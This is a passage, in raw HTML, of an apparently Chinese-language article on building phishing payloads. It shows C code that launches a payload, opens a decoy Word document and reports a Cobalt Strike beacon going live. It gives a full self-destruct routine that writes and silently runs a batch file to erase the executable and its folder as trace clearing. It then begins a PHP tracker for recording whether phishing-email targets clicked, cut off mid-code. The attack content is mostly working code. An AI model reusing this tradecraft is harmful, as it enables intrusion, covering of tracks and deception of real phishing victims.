inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//不在此指定可执行文件的文件名</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            SaveFile,<span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//命令行参数</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>,<span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//默认进程安全性</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>,<span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//默认进程安全性</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">FALSE</span>,<span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//指定当前进程内句柄不可以被子进程继承</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            CREATE_NEW_CONSOLE,<span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//为新进程创建一个新的控制台窗口</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>,<span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//使用本进程的环境变量</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>,<span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//使用本进程的驱动器和目录</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            &amp;si,<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            &amp;pi);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/></code></pre><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">最后打开诱饵文件，此时cobalt strike已经成功上线。</p><pre style="box-sizing: border-box;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;text-align: start;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;margin-right: 2px;margin-left: 2px;padding: 0.5em;font-size: 14px;color: black;line-height: 18px;border-radius: 0px;background: rgb(238, 238, 238);display: block;font-family: Consolas, Inconsolata, Courier, monospace;overflow-x: auto;letter-spacing: 0px;overflow-wrap: normal !important;word-break: normal !important;overflow-y: auto !important;">ShellExecute(<span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>, <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;open&#34;</span>, <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;关于XXXXX.docx&#34;</span>, <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>, <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>, SW_SHOW);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/></code></pre><h5 style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1em;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;">四、痕迹清除</span></h5><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">删除自身程序代码：</p><pre style="box-sizing: border-box;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;text-align: start;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;margin-right: 2px;margin-left: 2px;padding: 0.5em;font-size: 14px;color: black;line-height: 18px;border-radius: 0px;background: rgb(238, 238, 238);display: block;font-family: Consolas, Inconsolata, Courier, monospace;overflow-x: auto;letter-spacing: 0px;overflow-wrap: normal !important;word-break: normal !important;overflow-y: auto !important;"><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// this is the name of the temporary .bat file</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">static</span> <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">const</span> <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">char</span> tempbatname[] = <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;_uninsep.bat&#34;</span> ;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"><span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">void</span> <span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 0, 0);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">Selfdestruct</span><span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span> <br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/></span>{<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>  <span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// temporary .bat file</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>  <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">static</span> <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">char</span> templ[] = <br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;:Repeat\r\n&#34;</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;del \&#34;%s\&#34;\r\n&#34;</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;if exist \&#34;%s\&#34; goto Repeat\r\n&#34;</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;rmdir \&#34;%s\&#34;\r\n&#34;</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;del \&#34;%s\&#34;&#34;</span> ;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>  <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">char</span> modulename[_MAX_PATH] ;    <span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// absolute path of calling .exe file</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>  <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">char</span> temppath[_MAX_PATH] ;      <span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// absolute path of temporary .bat file</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>  <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">char</span> folder[_MAX_PATH] ;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>  GetTempPath(_MAX_PATH, temppath) ;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>  <span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">strcat</span>(temppath, tempbatname) ;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>  GetModuleFileName(<span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>, modulename, MAX_PATH) ;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>  <span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">strcpy</span> (folder, modulename) ;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>  <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">char</span> *pb = <span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">strrchr</span>(folder, <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#39;\\&#39;</span>);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>  <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (pb != <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>)<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    *pb = <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">0</span> ;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>  HANDLE hf ;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>  hf = CreateFile(temppath, GENERIC_WRITE, <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">0</span>, <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>, <br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>              CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>) ;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>  <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (hf != INVALID_HANDLE_VALUE)<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>  {<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    DWORD len ;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">char</span> *bat ;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    bat = (<span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">char</span>*)alloca(<span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">strlen</span>(templ) + <br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>               <span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">strlen</span>(modulename) * <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">2</span> + <span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">strlen</span>(temppath) + <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">20</span>) ;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    wsprintf(bat, templ, modulename, modulename, folder, temppath) ;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    WriteFile(hf, bat, <span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">strlen</span>(bat), &amp;len, <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>) ;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    CloseHandle(hf) ;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    ShellExecute(<span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>, <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;open&#34;</span>, temppath, <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>, <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>, SW_HIDE);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>  }<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>}<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/></code></pre><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">假设要销毁自身的可执行文件位于<em style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;">c：\ myfolder \ selfdestruct.exe中</em>。该<code style="box-sizing: border-box;margin-right: 2px;margin-left: 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);">Selfdestruct()</code>函数将在计算机的temp文件夹中创建以下.bat文件，然后启动它：</p><pre style="box-sizing: border-box;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;text-align: start;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;margin-right: 2px;margin-left: 2px;padding: 0.5em;font-size: 14px;color: black;line-height: 18px;border-radius: 0px;background: rgb(238, 238, 238);display: block;font-family: Consolas, Inconsolata, Courier, monospace;overflow-x: auto;letter-spacing: 0px;overflow-wrap: normal !important;word-break: normal !important;overflow-y: auto !important;">:Repeat<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>del <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;c:\myfolder\selfdestruct.exe&#34;</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">if</span> exist <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;c:\myfolder\selfdestruct.exe&#34;</span> <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">goto</span> Repeat<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">rmdir</span> <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;c:\myfolder&#34;</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>del <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;c:\temp\_uninsep.bat&#34;</span> ;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/></code></pre><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">.bat文件将循环删除<em style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;">c：\ myfolder \ selfdestruct.exe</em>，直到最终成功（即<em style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;">selfdestruct.exe</em>完成执行后。）然后尝试删除包含的文件夹（此处为<em style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;">c：\ myfolder</em>），只有当它为空时才起作用，最后将其自身删除。</p><h4 style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.2em;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;">效果演示</span></h4><figure style="box-sizing: border-box;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><img data-w="640" data-type="gif" style="box-sizing: border-box;margin-right: auto;margin-left: auto;border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;font-size: inherit;color: inherit;line-height: inherit;display: block;" title="" data-ratio="0.6375" src="https://wechat2rss.xlab.app/img-proxy/?k=cd1c0d3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fqr5uyVXdEvcGzykdQ07iaPNibScxkP3369naSbV7kFLml3KYWSMVBdFBQcbbic4EeQ2Nt6xSXkict3y1QnS5R8jdXw%2F640%3Fwx_fmt%3Dgif"/></figure><h4 style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.2em;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;">鱼竿感知</span></h4><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">如果平常去河边钓鱼，要使用浮漂才会知道这条河是否有鱼吃饵料，同理当邮件投递出去后，判断目标是否点击了邮件，不至于那么的苦等，这里我丢一个简单的demo,实际上它是可以写成一个框架的。</p><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">stat.php</p><pre style="box-sizing: border-box;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;text-align: start;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;margin-right: 2px;margin-left: 2px;padding: 0.5em;font-size: 14px;color: black;line-height: 18px;border-radius: 0px;background: rgb(238, 238, 238);display: block;font-family: Consolas, Inconsolata, Courier, monospace;overflow-x: auto;letter-spacing: 0px;overflow-wrap: normal !important;word-break: normal !important;overflow-y: auto !important;"><span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"><span style="box-sizing: border-box;font-size: inherit;color: rgb(51, 68, 187);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&lt;?php</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">include</span> <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;c/functions.php&#34;</span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">include</span> <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;c/db.php&#34;</span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    $vrfy=get_request( <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">false</span>, <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;vrfy&#34;</span>);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">if</span> ( $vrfy&lt;&gt;<span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;&#34;</span> ){<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>        <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">echo</span> <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;Vrfy OK&#34;</span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>        <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">exit</span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    }<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    pub_getstatparas( $mail_id, $email, $randcode );<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//function pub_getstatparas( &amp;$amailid, &amp;$aemail, &amp;$arandcode ){</span><br style="box-sizing: 